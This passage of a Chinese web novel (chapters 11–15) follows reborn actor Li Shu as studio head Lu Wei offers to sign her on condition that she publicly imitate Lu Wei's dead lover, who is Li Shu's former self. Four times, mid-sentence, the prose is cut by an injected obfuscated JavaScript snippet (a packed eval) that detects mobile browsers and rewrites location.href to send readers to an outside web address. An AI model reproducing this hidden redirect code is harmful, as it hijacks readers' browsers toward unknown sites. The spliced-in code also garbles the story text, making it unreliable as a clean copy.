又忽然想吴双真是个奇才,有这搜罗的能力,不去克隆研究所上班可惜了。 正巧陆嵬进来,裘夏眼珠一转,忽然想起她昨晚找秦霜打听的事情。 ——秦霜说,黎数见到陆嵬的第一面紧张坏了,一口一个陆老师好、陆老师再见。 礼貌、谦卑、带着点过分却也能理解的讨好和谄媚。 但这次一见,又感觉之前的形象再一次被颠覆。 她干脆把好奇说到了明面:“秦霜还说你机灵、反应快、脑子好又会说话,怎么我觉得你反而挺沉稳的。” 她顿了顿,意有所指的说:“见费导不紧张,见我和陆嵬不谄媚。” 黎数沉默片刻,但还是中规中矩的答:“毕竟不熟的时候,总要装一装。” 陆嵬撩着眼皮看了她一眼。 裘夏不提,她都要忘了。 眼前这小女孩和自己第一次见面时,知道她的身份后态度骤变,谄媚到让她甚至有些厌恶。 短短几天的寥寥数面,话都没说几句,但被拉着演了一出戏,抽到了一根想了两年的烟。 陆嵬皱起眉毛,她抓不到那种比直觉还虚无缥缈的奇异东西,只觉得重要。 将手上的合同推过去,看着黎数成竹在胸以至于显得冷淡的眉眼,忽然觉得这才是真正的她。 之前的刻意讨好和尊敬以及谦虚到甚至显得卑微的那样子,是装出来的。 莫名的,陆嵬说道:“现在呢,你觉得熟了,不装了?” 裘夏登时一副大白天见鬼的表情瞅她。 装什么?她和黎假黎数很熟吗?怎么知道她是装镇定还是装谄媚? 陆嵬自己都觉得莫名其妙。 黎数唇角扯扯,皮笑肉不笑的说:“我不明白陆总在说什么。” 11.第十一章 两人面对面坐着,陆嵬坐姿并不多规整,但还是比黎数略高了些。 她长相属于清冷精致的类型,总带着些不服管教的野性和习惯了发号施令的威严,在望向黎数的时候,气势和目光完全是压倒性的质疑。 但黎数早已习惯了她所有的模样。 从前陆嵬冷脸她会去哄,去问,去逗,但现在只当是看不见、不知道,用一种极为平静的目光去看她。 陆嵬淡声反问道:“是吗。” 比起问句,更像是一种笃定的陈述。 黎数就也很随意敷衍地笑了一秒。 “一统娱乐的合同原件你带了吗?”裘夏出来打圆场,“涉及到违约条例,虽然一统一般并不限制艺人私下接活,但以防万一,我还得让法务去看看。” 黎数点头,挎包里取出那份合同原件,“带了。” 裘夏简单的翻看了两眼。 每个公司的经纪约大差不差,但也就是因为都大差不差,所以要埋雷就会隐藏的极深,轻易发觉不了。 裘夏站了起来,一阵浅淡的香风吹过,黎数鼻子动了动,觉得好闻,又轻嗅了两下。 从前没有闻到过,明明是冬天,但这个香水的味道有一种似乎只有夏天才拥有的青草香气,和裘夏倒是挺般配。 陆嵬注意到了她的小动作,眉毛下意识蹙了下。 “那你们先聊。”裘夏顿了顿。 桌上放着的还是空白没签字的《秘宝》合同,但这份角色签约合同的下面,还有另外一份经纪约合同。 裘夏还是看不懂陆嵬到底想干什么。 察觉出黎数是一个好苗子,所以想签她,这太正常了。 何况签了她以后,公司不需要在前期投入太多,她就已经可以拥有足够的热度——没有什么比费鹤鸣初试就亲定的经历更有殊荣得了。 黎数的演技精湛,岁数又小,她拥有绝对足够的时间可以去试错、去开拓,甚至拥有和已经死去的那个黎数几乎一模一样的脸。 只不过前者更温柔,眉眼更无害,脸上总挂着极为和煦的笑容,后者年纪虽小,眉眼间却总藏着一副锋芒的凌厉和锐气。 她想往上爬,坚定且执着,又有可以与野心匹配的能力。 对于一个利益至上的商人和公司来说,黎数几乎是完美的。 没有任何一个公司会放弃这个香饽饽,也就是陆嵬运气好,在她试镜的第一时间恰好在现场,又恰好,那部电影是寰宇投资的。 陆嵬拥有了比所有人都捷足先登的本钱。 可让裘夏在意的,是陆嵬刚刚说过的一句话。 ——签下她以后,业务方面你来对接,我不会插手,但生活方面我来全权接管。 陆嵬所指的生活方面,涵括了太多东西。 甚至自己至今都没能看到那份合同原件,黎数的直接对接人是陆嵬,而不是她。 可也问不出什么,陆嵬也并没有告知任何东西的意思。 多年的朋友,她直觉陆嵬心底里藏着压着什么东西,可她连丁点边缘都摸索不到。 裘夏皱了皱眉,起身离开了休息室。 一直到离开了休息室,听到门锁的‘咔嗒’轻响,裘夏又忽然想起被自己遗忘的东西是什么了——陆嵬剃头担子一头热,连合同签完以后得事情都想好了,可要是黎数不愿意呢? 她回头看了看被关上的休息室大门,表情一时间变得非常古怪。 就,有点期待。 - 裘夏走后,休息室内就陷入了一片显得有点诡异的寂静。 陆嵬面无表情,眼神冷漠,黎数平和回望,脸上带着淡然的笑。 窗户外的蜘蛛人已经开始负责日常维护起了寰宇大楼的玻璃,也打破了这一室的安静。 黎数借着低头喝咖啡的空档,藏住了快要失控的情绪,尽可能平心静气的说:“陆总是有话要跟我单独说吗?” “有。”陆嵬语气凉薄,毫不关心的问:“为什么割腕。” 黎数捏着咖啡杯的手紧了紧,一时间拿不准陆嵬什么意思。 论交情,她和自己这辈子才只见过没几面。 即便是有了共试一场戏的短暂相处,可她自认表现中规中矩,陆嵬全程像是个桩子,除了抽烟,反应都是根据剧本里给的最基础的反应。 她已经发挥了毕生的素养去完成了那一场戏,台词也没有疏漏,否则也不可能当场就被费鹤鸣定下。 后面几次偶遇更没有任何逾越的地方,怎么就值得陆嵬连问两次‘割腕’的原因。 她的关心来的太突然,问的东西也冒犯,也太不合时宜了。 黎数沉默片刻,再抬起头时脸上就已经挂上了虚伪的假笑,“陆总,打人不打脸,聊天不揭疤啊。这是我的个人私事,总拿出来说不太好吧?这圈子里抑郁自残割腕吞药的都不在少数,我偶尔一次也不稀奇,您再问我,我也还是那句话,一丁点始料未及的小意外罢了。” 陆嵬轻轻侧了侧头,斑斑驳驳的白色发丝刺痛了黎数的眼,她眸光闪了闪,却没有退让。 陆嵬对这个回复不意外也不生气,于是她换了个问法,“那你想红吗?” 黎数皱起眉毛:“您什么意思?” “你试镜的时候我全程在场,也和你本人有点最粗浅的交流,你有野心,有演技。想脱离一统往上爬,也能守得住底线耐得住性子不走捷径。” 陆嵬全程没提黎数的外貌,或者是刻意避开了。 黎数也不可能提。 陆嵬见她神色松动,停顿片刻后继续说:“我查过你的履历,你和一统的合同已经走了两年,期间只能领几千块钱的基本工资,但要背上每年以一百万递增的债务,一统不可能给你任何资源,因为对一统来说,你的价值可以忽略不计,这笔钱,你到死都还不起。” 黎数也心知她说的没错。 即便是成功签下了费鹤鸣的电影,但她的合同是在一统手里的。 起点就是出演费鹤鸣的重要女配角,如果黎数的经纪公司给力,她以后的发展势必不会太差。 但一统娱乐不可能放任她高飞。 她固然可以像是这一次一样单独接活,可一统也可以给她排满无数的烂活,让她无暇他顾。 儿童剧场、景区演出、商场开幕、婚礼站台、不入流也不会被启用的服装模特、电视剧里不露脸的路人甲——太多太多事情了,一统可以把她拖废。 一个新人通过试镜得到的配角,即便重要,即便是顶级大导的角色,得到的钱都不会太多。 就以黎数目前的估测,可能到手只有五到七万,还要扣掉税收。 五到七万,在二三百万的违约金面前只是杯水车薪。 而她之后的工作也都会被一统拦下,久而久之,她就继续查无此人了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474523|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 虽然陆嵬是在询问她为什么割腕和为什么想红,但其实都是一个目的。 因为平生不得志又无力挣脱,所以走上绝路。 这样的人,当然想红。 事实上,陆嵬问的猜的没错,问的也没错。 黎数也猜出了陆嵬的言下之意。 她思索了片刻,抬眼道:“你想签我?” 一会您一会你的。 装都不记得装的从一而终。 陆嵬眉毛杨起,坦言道:“是。但我另有目的,所以我问的是,你想不想,而不是你愿不愿意。” 前者需要付出代价,后者则是处于下位的希望和恳求。 这是一场彻底的利益交换。 陆嵬可以把她捧红,但她也要从自己身上获取她所需要的。 可她现在对外的形象,只是一个被无良经纪公司裹挟的,刚刚成年满十八岁的小女孩。 除了这张脸和名字,有什么是陆嵬需要的?又或者说,是她在意的? 甚至到可以用大量资源投入,甚至不惜让裘夏来当她的经纪人的地步? 见黎数露出了思考的模样,陆嵬继续说道:“简单自我介绍一下,我生父是申海电影股份有限公司董事长兼党委书记,母亲是长留制片部总经理兼高级执行官,姥姥是长留电影集团创始人。” 一连串的头衔砸的黎数无法回神,她才忽然发觉,她对陆嵬的了解似乎并没有自己自以为的多。 她从前只知道寰宇是陆嵬一手创立的,也知道她有背景,甚至来头不小,但更相信她能让寰宇差点上市,凭借的是她真本事。 但因为她并不想去利用什么,从前也的确随遇而安,没什么野心,所以从没想过,陆嵬背后的家族体系居然这么庞大。 她也从没有见过陆嵬的家人,甚至陆嵬这次说起家人的称呼,都是她以前并没有了解到的。 她提的是‘生父’,而不是‘爸爸’,用的是‘母亲’,而不是‘妈妈’——但她会用‘姥姥’来称呼自己的外祖母。 亲疏立现。 黎数抿了抿唇。这些职业背后所代表的意义是她无法了解的,但作为演员,她第一反应就是,陆嵬可以第一时间获得一手资讯。 最浅表的意思,陆嵬可以用最快的速度拿到一手信息,在寰宇旗下的所有资源,都不会出现投资后不能播出的情况。 对于一个演员来说,这才是最重要的,对一个公司来说也同样。 否则辛苦筹备数年,一条禁令下来成一场空,损失是不可估量的。 陆嵬介绍完毕,给了黎数消化的时间,才重新问道:“所以,你想不想红。” 这样的机会,多少人几辈子都求不来。 资源的倾斜,只要拍就不会成为无用功、必定可以在短时间内拿到厂标过审的作品,甚至是她背后不可忽视的资源、人脉,只要陆嵬肯全力捧,大满贯都不是问题。 她一个电话就可以让自己已经在走合同的知名大导的角色另给他人,甚至可以左右金凰奖影后。 黎数想不出任何拒绝的理由。 这些东西,陆嵬本来就该还她。 黎数只想了片刻,脸上挂着笑,语气是压抑着的轻嘲:“没有人不想。” 陆嵬露出了几天以来黎数见过的第一个笑。 她用一种黎数从没见过的姿态居高临下的说:“很好。” 12.第十二章 时间已经逐渐走向中午。 窗外的蜘蛛人已经擦完了这一层,太阳不知道什么时候洒在了这片休息室的窗边,地面被渲染成金黄。 黎数有些出神。 她死在午夜,重生后所有事情都纷至沓来忙的焦头烂额,又恰逢雪天,现在住的房间也朝北。 她已经很久没见过这么灿烂的太阳了。 她的目光久久停在那片冬天也少见的金灿灿的阳光上。 门被从外面敲了敲,陆嵬一抬眼,忽然就停住了。 黎数安安静静的坐着,只化了淡妆遮掩本来苍白的气色,她的面容干干净净,一头长发倾泻在肩后,散落的发丝遮住些许轮廓,融化了先前让她印象深刻的锋利和尖锐,更没有饰演白玫时的风情妩媚,反倒莫名显出了点柔软。 这一个瞬间,她从她身上似乎一瞬间看到了真正的黎数的影子。 一切好像回到了从前。 黎数养了一只猫,名字叫元宝,最喜欢的就是待在阳台的玻璃吊床上摇着尾巴晒太阳。 黎数从前冬天拍戏时落下了病根,中医让她多晒太阳,久而久之她也养成了习惯。 一人一猫,那时候就会在阳台上依偎着,她白天到家时,总能看到一坨分不清头尾的黑煤球,和总是听到动静就起身,笑着向她走来,会给她一个拥抱和亲吻的黎数。 陆嵬猛地一个晃神,始料未及的怔住了。 明明不是初见,可黎数在她面前始终都是伪装的模样,从未表露过自己真实的样子乃至性格。 说话总留三分余地,从不生气,也不讨好,更不深交。 黎数被敲门声叫回神,一转头就发现陆嵬在用一种很难以言明的复杂目光看她。 打量活物价值几何?还是从自己现在这张脸上睹脸思人?透过这层表象的皮囊,看出底下藏着的是一个被她害死的旧人的灵魂? 黎数伸手敲敲桌子,“陆总,有人敲门。” 陆嵬静默一下,似乎是疑惑自己刚刚的举动和分神,很快回神,收拾好了发散的情绪,扬声道:“进。” 一个陌生的女孩从外面走进来,手上拿着一袋外卖,和一个透明杯子,里面有氤氲热气,装的是温水。 “陆总,裘总吩咐的过来给您这边送吃的。” 女孩边说边进,干脆利落的把外卖放在了黎数面前,温水放在了陆嵬面前。 黎数低头看了眼,外卖不是小餐厅随便打包来的,是大酒店叫的专送,也是她之前来找陆嵬时经常吃的一家。 她也有很久没吃过这家了。 女孩放好东西后就离开了,黎数看了眼重新上锁的大门,打开布袋看了眼菜色。 饭是裘夏叫的,两荤两素,黎数还真的有点饿了,取出里面的烫金筷子,才发现只有一份米饭。 “你吃。”陆嵬简短到,而后将那杯温水拨到一边,起身走到了茶水间。 大公司的茶水间里甚至有德国进口的咖啡机和高级咖啡豆。 不多时,苦咖的清香传遍了整个室内。 陆嵬端着杯子重新回来,几口咖啡下去,她像是被注入了什么灵魂药剂,连带着先前表露出的丁点傲慢一起回来了。 “边吃边讲。”陆嵬靠在椅背上,双手抱胸,“既然就签约的事情我们可以达成共识,那么我也有些话要提前问清楚,希望你可以如实回答,最好不要撒谎。” 黎数往嘴里送虾仁,手边的米饭吃得慢,一直在小口小口的细细品尝。 今天之前,她为了减重增肌,有差不多小半年没吃过碳水了,虽然身体不急切,但她的精神上有点渴求。 “您说。” 又用上您了。 陆嵬神色不动,“你的最终目标在哪里。” 黎数扬眉。 最终的目标涵括的东西实在是太多了,求学深造、结婚生子、事业深耕。 她问:“您说的是哪方面?” “所有。”陆嵬抿了口咖啡,大约是苦,她皱了皱眉,继续说道:“想拿到影后也好,要嫁入豪门也罢,又或者想进电影学院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483160|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 教书育人,转向幕后掌握全局都可以。我要知道你对未来的规划,才好方便提我对你的要求,或者说是约束。” 她提的,都是她一定能给到的。 制作最精良的片子,不需要考虑钱就可以真正发光发热的导演团队,最优会被扶持的题材和一定能播出的片子……这些全部齐备,是个路人都能被捧红,何况陆嵬本来就是新一代导演中最顶尖的存在。 她自己就有这个嗅觉,也有这个能力,她知道什么才是好的。 黎数回想起了自己的这一生。 她不是没被抢过角色,也不是没有试镜失败过。 毕竟每一个演员都有自己的短板,就像是她不可能在三十岁时去演一个初中的女学生,也不可能三十岁演一个人到晚年的母亲。 她也曾经与很多角色失之交臂,只能看着花落别家,不是不想要的,也不是不遗憾的。 真正的站在了那个时候,没有人会不失落、不想要,更没有人会不生出野心,去想‘如果我可以更进一步会怎样’。 她又想起原主在纸上写的那一字字一句句,和自己同样在后面写下的承诺。 于是黎数笑了笑,将筷子放下,“那我要——” “我要全世界都知道我的名字,我要我的名字载入影视,我要所有人提起女演员时,第一个说出来的,是我黎数的名字。我要站在演员的最高处。” 陆嵬拿文件的手出现了极为短暂的停顿。 她消化了一下黎数说的内容,片刻后牵动唇角笑了笑,说:“目标确实是不小。” 黎数笑笑,重新拿起筷子,好像刚刚发出豪言壮志的人不是她一样。 “您既然问了,那我就说了。”黎数把西蓝花塞进嘴里慢慢咀嚼,“陆总不如说一说,我这样的目标,够满足您会提的要求所需要的高度吗?” 陆嵬意外她年纪小小就这么通透,这么快就看出她另有目的,但这样也好,和聪明人说话可以省去太多不必要的麻烦。 于是她说:“勉强足够。” 13.第十三章 黎数很好奇,陆嵬会向她提出什么样的要求。 一个女演员想要登上最高峰,绝对没有那么简单。 即便黎数对自己演技极为自信,此前也拿过数个女配奖项,可始终于主角和影后失之交臂。 也是因此,她对‘岑巡’这个角色才会这么的在乎,才那么想去到金凰奖现场,即便角逐失败,可她至少努力过。 她不知道自己和主角之间到底差了些什么,从前不懂,现在依然不懂。 明明是同样的脸,同样的名字,但初试就可以得到费鹤鸣的宽纵,现在又可以将寰宇的资源随意挑选。 “但你提的要求,只靠资源砸是没用的。”陆嵬道:“你现在的体重过瘦,加上身体刚刚遭受众创,所以吃喝上我不会管控你太多。但一旦你的身体恢复,你知道你即将要面临什么吗?” 黎数当然知道。 没日没夜没规律的辛苦劳作,夏天的棉袄配火炉,冬天的短袖去下水。 可演员这行只要肯辛苦,只要会做人,脸随便好一点,就能够获得比绝大部分人高出太多的收益。 她点头,“我有心理准备。” “那么最后一个问题。”陆嵬下巴点了点,目光扫向她的手腕,“我需要知道你割腕的原因。” 黎数想了想,把手机调出了和原主父亲的聊天界面,随便往上面翻了几页递给陆嵬,说道:“家庭。” 她用勺子将鸡汤表层的油撇掉,轻轻抿了一口,很好喝也清爽,还有酥嫩入味又能保持清单口感的鸡丝,忍不住弯了弯眼睛。 美食让黎数的心情好了点。她抬起起头,见陆嵬以极快的速度划过那些记录,大概是很快就到底了,陆嵬脸上出现了些许戏谑和意外的表情。 她并没有出言调侃,也没说她会怎么去解决,而是说道:“看来想死但没死成的人活下来以后,确实是能醒悟和清明很多。” 黎数很赞同这句话,闻言笑笑,“我也觉得。” 陆嵬面前的咖啡已经少了一半,黎数也吃了个七分饱后就不再继续了。 她依次将没吃完的饭打包收好,打算待会去当晚饭。 收拾的间隙,黎数从容说:“那陆总也该说说,你对我的要求是什么了吧?” 陆嵬这次却没有直接说话。 她眉毛微微皱起,似乎是忽然之间陷入了什么斗争一般。 片刻后,她盯着黎数,盯着黎数这张和她已经死去的爱人一样的脸。 陆嵬忽然笑了笑,像是在对什么做无声的告别。 她说:“很简单。” “我要你从行为、举止、性格上,都模仿另外一个人,把你自己当成她,然后跟我五年。” 黎数系结的手一僵,以为自己听错了,下意识问:“你说什么?” 陆嵬恢复了一贯的冷漠凉薄,她垂下头,从钱包里取出了一张照片,想了想,又把照片收回去,拿出了手机。 她把手机反转,递到了黎数面前,说道:“把你自己当成她,跟我五年。” 那是自己从前的照片。 黎数安静了下来,静静的看着照片上那张游客照。 那是她刚刚拿到第一个配角奖项后和陆嵬一起去旅游时拍的,在一个海边的露台上。 那时候有一只蝴蝶落在了她肩上,极其细微的麻痒,她惊讶又惊喜的动作被陆嵬捕捉了下来,后来似乎还拿了个什么摄影奖。 照片上的自己望向镜头时的目光充满喜悦和爱意。 黎数收回眼,这一刻她甚至不知道该不该问为什么。 因为她知道陆嵬会告诉她什么——‘你和她长得相似,名字身材全都相差无几,就连费鹤鸣也是因为你像她,才会破例给你机会让你直接去单面。’ 陆嵬不是一个会把爱挂在嘴边上的人,行动上从来都看不出什么,所以黎数也从没设想过这个‘原因’里会有什么肉麻的话。 可为什么要找一个相似的人去模仿已经死去的人? 她可以确定陆嵬对自己并没有那个意思,甚至初见时,是厌恶居多。 黎数也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489028|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有错过她听到‘自己’名字时那一刻的表情,那是一种隐而不发的危险。 黎数想不明白,过了会,她说:“这是唯一的要求?” 陆嵬摇头:“只是必要条件之一。” “陆总都说来听听吧。”黎数忽然想抽根烟,深吸了口气,从兜里拿出来,动作熟练的轻拢火机点了一根。 陆嵬注意到黎数弹烟灰的细小动作,真的很像。 可大多数抽烟的人都会顺带弹一下刚点燃的香烟,只不过因为她长得太像,所以一瞬间她还是有点恍惚。 烟草的气息抚平了些许情绪,黎数眯了眯眼睛,神色被烟雾模糊。 “当然。”陆嵬垂眸又喝了口咖啡,说道:“演员约全约通常是三到八年,以你提的要求三年不够,八年太长容易生变。所以折中取五年的时间。但五年过后,寰宇享受优先续约权。” 黎数没说话。 陆嵬目光扫过蓝青色的烟盒,继续说:“这五年间,你要跟我住在一起,没有工作的时候需要随叫随到,且必须什么都听我的。” 黎数听到‘住在一起’时睫毛轻颤了下,被烟气挡住,看不分明。 “我所指的‘全听我的’,包括但不限于你的体重,一日三餐,课程训练,媒体发言。” 这个倒是正常要求,全约的艺人言行举止都会被管控,说一句话都要思虑再三,毕竟全约的艺人基本都是公司台柱,容不得一丁点闪失。 “最后一条,也是最重要的。”陆嵬侧着头,目光直视着黎数说道:“这五年内,你不能谈恋爱,不能结婚,也不能和人上.床。暧昧,接吻都不行。” 黎数扯了扯嘴唇,这一刻甚至不知道要用什么表情去回应了。 一根烟燃尽,小桌子上没有烟灰缸,黎数起身,走到了不远处的会客桌上,把烟暗灭。 最后一缕残烟很快散尽,黎数略荒谬的转身,说道:“你这是在找一个……” 黎数实在是说不出‘死人’这两个字,噎了下才说:“找一个替身来当床伴?” 14.第十四章 黎数此刻忽然意识到,距离她死去居然已经过了两年。 两年间,她缺失的东西实在是太多了。 她不知道崛起的一统娱乐,不知道本来和原经纪公司分庭抗礼,最终却各自奔走,曾经并称双姝的吴双和裘夏又是怎么彻底闹掰,最后发展到现在这种王不见王的地步的。 也不知道裘夏是因为什么缘故,带领了自己手下几十个演员孤注一掷的加入了陆嵬的公司。 两年前,裘夏选择加入寰宇无异于一场豪赌。 然而两年过后,不论是寰宇的发展情况,亦或是现在公司艺人的去留,和她同期的艺人有多少,曾经熟识的好友发展情况又怎么样…… 她都一概不知。 她不知道的实在是太多了。 她甚至不知道这两年的时间里,陆嵬有没有谈新的恋爱,或者和沈凝雪有没有什么发展,又有没有和别人上.床,又或者有没有固定床伴。 她自认为了解的人,似乎可以在这七百八十多天的时间里被彻底改变。 又或许对某些人来说,这个时间就已经很漫长了。 她掐烟的手有些颤抖,她的大脑清醒的告诉着她实际时间已经过了两年,可对于此刻的她而言,明明才发生了没有几天。 让她怎么去接受呢? 接受自己曾经的爱人忽然开始找替身? 这不是疯了吗。 掌心出了虚汗,黎数借着点烟的空隙遮掩过去,没让陆嵬发现她的不正常。 烟雾重新腾起,伴随着陆嵬略显诧异的声音一起:“床伴?不,你误会了。” “我所指的这几个要求面向所有人,也包括我自己。她不需要任何人做她的替身,你也不是替身,你当然可以继续做你自己,只是在公众面前,我需要你模仿她,并且和我保持一定程度上的亲昵。” 黎数被陆嵬搞懵了,莫名其妙的放松了神经之余,又弄不懂这其中的逻辑。 既要保持洁身自好,五年间不能和任何人有感情或是肉.体关系,但在模仿曾经的自己的同时,陆嵬又对她现在的身体没有性.需求,更没有感情。 并且还要在同居的前提下,又并不发展成床.伴,性.伴侣,又要对外保持某种程度上的亲密关系。 不,不对。 黎数皱眉,陆嵬刚刚说的甚至不是亲密,而是亲昵。 她似乎想通过自己的这张脸和名字,或是她需要自己表现出的某种行为,刻意去引导什么。 可这又是为什么? 从前的她活的简单,手底下的资产有多少陆嵬都是知道的,更遑论是和哪个大人物有利益牵扯。 她想不明白,有什么事情是需要通过替身模仿自己来实现的。 黎数整合了一下,思考着说:“你的意思是,让我陪你演一出替身的戏?” 陆嵬眼睛亮了下,不明显。 只是意外的能从黎数口中听到她自己都还没法精准表达的,可以解释此刻现状的词。 她笑了笑,这次是发自真心的说:“没错,你理解的很对。” 闻言黎数微微垂下眼,目光的落点停留在了那一点忽明忽暗的猩红上。 第二根烟她只吸了一口,在指尖以极其缓慢的速度燃烬。 陆嵬也给了她绝对足够的时间去思考,没有出声催促,也没有再进一步说服。 整件事情已经没什么好考虑的了。 一统的霸王合同,难以脱身的原生家庭,还有未来的发展,甚至现在出现了一个关乎曾经自己自身,而她本人却毫不知情的谜题。 片刻后,黎数脸色平淡,瞧不出底下藏了多少心思,重新掐灭一根烟,说:“可以。” 消失了不知道多久的裘夏横空出现,门都没敲就进来了。 她知道屋里已经聊完,摆摆手加大了新风功率,“嚯,一进来我以为到水帘洞了,这么大的烟。” 久在室内的人其实也看不出有多缭绕,但裘夏刚从外面进来,甚至感觉是屋里起了大雾。 签订合同的过程比想象的还要快了许多,白玫这个角色已经定下,但经纪约还要再跑一趟一统,把那边的解除了才能签新的。 裘夏拒绝:“我不想看吴双那张死人脸,我去也谈不下来价钱,二百万不多,但我去了她死皮赖脸也得给提到三百,咱们的钱又不是大风刮来的。” 陆嵬这次想了想,抬手看了眼表,随后说道:“我去谈。” 裘夏随意‘嗯’了声,掏出手机说:“那我回家做饭了。我老婆点名要吃清炒扇贝和糖醋小排,一时半会完不了,她刚回来,我休息几天,合同谈完了你直接给我打电话就行。我再过来。” 一边听着做饭教程,裘夏一边收合同,临了眼睛一撇,脸上顿时就变了:“你又空腹喝咖啡?胃不想要了?我让人给你送的温水呢?” 似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493106|169550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎是要忙的事情差不多告一段落,又加上到了午后,陆嵬显得懒洋洋的,靠在椅子上,发丝自然向下顺着身体弧度垂落。 闻言也只是撩了撩睫毛,漫不经心的说:“没味道。” 裘夏气的翻了个白眼转身就走了。 再待在这里也没什么事了,黎数起身告辞。 陆嵬看着她说话的身影,眼睛一动,用了点劲把身体从沙发上撑起来,说:“就从现在开始吧。” 黎数疑惑回头。 陆嵬起身说:“合同落实还需要两三天,这几天你可以当做是最后的休息时间,也可以适应一下我的存在。把气色养养,餐食会准时送到你那,你有单独想吃的也可以告诉我。” 黎数应了声,一时之间还没适应这样的角色转换。 但陆嵬似乎也没有很多话要和她说,说完了该说的以后,电梯里一直都很沉默。 陆嵬站在前面,高挑的身材挡住了按键,黎数只能从后面看到反光里她模糊不清的脸。 一直到了楼下,之前有过一面之缘的张姐就已经把车停在了楼下,准时又不挡路。 再一次见到黎数,张姐有些惊讶,但依然保持着素养没有搭话,只问了陆嵬要去哪。 陆嵬上车后就抱着胳膊在后座闭目养神,黎数就只能自己说:“去尚景公寓。” 张姐从后视镜打量了一眼,陆嵬依然沉默着,她就应了一声,车辆平稳的上了路。 一路无话,车里安静的简直出奇,直到黎数下车关上了车门,陆嵬忽然在里面说道:“上半身趴在座椅上。” 黎数不明所以:“你说什么?” 她没听清陆嵬说了什么,只扶着车门把身体往车里弓了弓。 然后她就听到陆嵬说:“关门。” 黎数:“……” 她无言的把车门关上,从车窗往里看,发现陆嵬的唇色有点白,一个人缩在后座上的时候显得又有点可怜。 紧接着她听到了陆嵬向张姐拿药,手也攥成拳抵住了胃部。 黎数沉默的站了下,还是转身离开了。 她知道陆嵬胃不好,从前就总胃疼,见不到面的时候她总会叮嘱陆嵬不要贪凉,吃难消化的东西,更不要图方便吃剩饭。 就连自己死前给陆嵬发的最后的消息,都让她不要吃剩蛋糕。 黎数勾起唇角,自嘲的笑笑。 但这以后和她没关系了。 15.第十五章 接下来的一连几天都没什么动静。 黎数微信上倒是加了陆嵬、裘夏等相关重要工作人员的好友,不过接下来几天既没有行程也没有安排,也没有人主动联系她。 黎数倒是不急。 她在家里呆了几天没出门,将原主所有的行李都收拾了一下。 严格来说原主的行李并不算多,她十六岁离家,至今也刚刚两年。 两年的时间,对于一个心无归处的少女来说,实在是没什么心情会添置东西,房间里就连最基础的厨房用品都没有。 除了买的笔和纸多了些之外,护肤品和衣服都是公司统一发的,包括房间的相对齐全的电子设备,规格都不高,但少女一直在用。 直播需要的道具和两年前并没有变化太多,黎数的专业领域强,即便是多年没碰了,可知识是在脑子里扎了根的,没研究一会,就找到了公司统一记录的艺人直播合集。 黎数单独下载了原主的那份,用了一天的时间开智能倍速放完了。 内容乏善可陈,基本上就是在直播中写字或者看东西,偶尔弹幕上会飘过几句嘲讽她模仿的话,但少女大约是已经习惯了,并没有理会。 离开原公司后账号ID就会被注销,黎数想了想,将原主的所有影像资料全部打包,转到了移动硬盘上保存好,跟着其它她留下的行李一起,彻底封存。 也不过只整理出来两个箱子而已。 - 二月底那天,黎数在练字的时候接到了一个陌生电话。 没有备注,但那个手机号她不会认错,是陆嵬的私人号。 陆嵬的手机号牵连太广,轻易不会换号,不过公私一般区分的很开。 “合同办妥了。”陆嵬在那头道:“准备一下,一统这两天会联系你过去办走流程,你到时候直接联系法务。” 黎数看着眼前还很生疏,属于画虎类犬形态的瘦金体,过了会才说:“好,知道了。” 电话那边用一种很公事公办的态度说,“违约金一共二百五十万,这笔钱公司帮你垫付了,以后会从你的片约分成里按百分比扣除。” 黎数有点惊讶怎么会多出五十万的数额,但想了想合同的事情上扯皮再正常不过,一统想二百就可以二百,想三百也不是不能耍无赖到三百。 电话刚刚挂断,黎数就接到了备注为‘陈远’的人的电话。 她愣是想了会才想起来这人是谁——先前去《秘宝》试镜时,陈远是当时那一群人的头,也是一统负责带队的经纪人。 “我小看你了啊。”陈远在那边阴阳怪气的笑,“什么时候攀上的寰宇的高枝儿,能请得动他们法务部的总监亲自过来谈解约。” 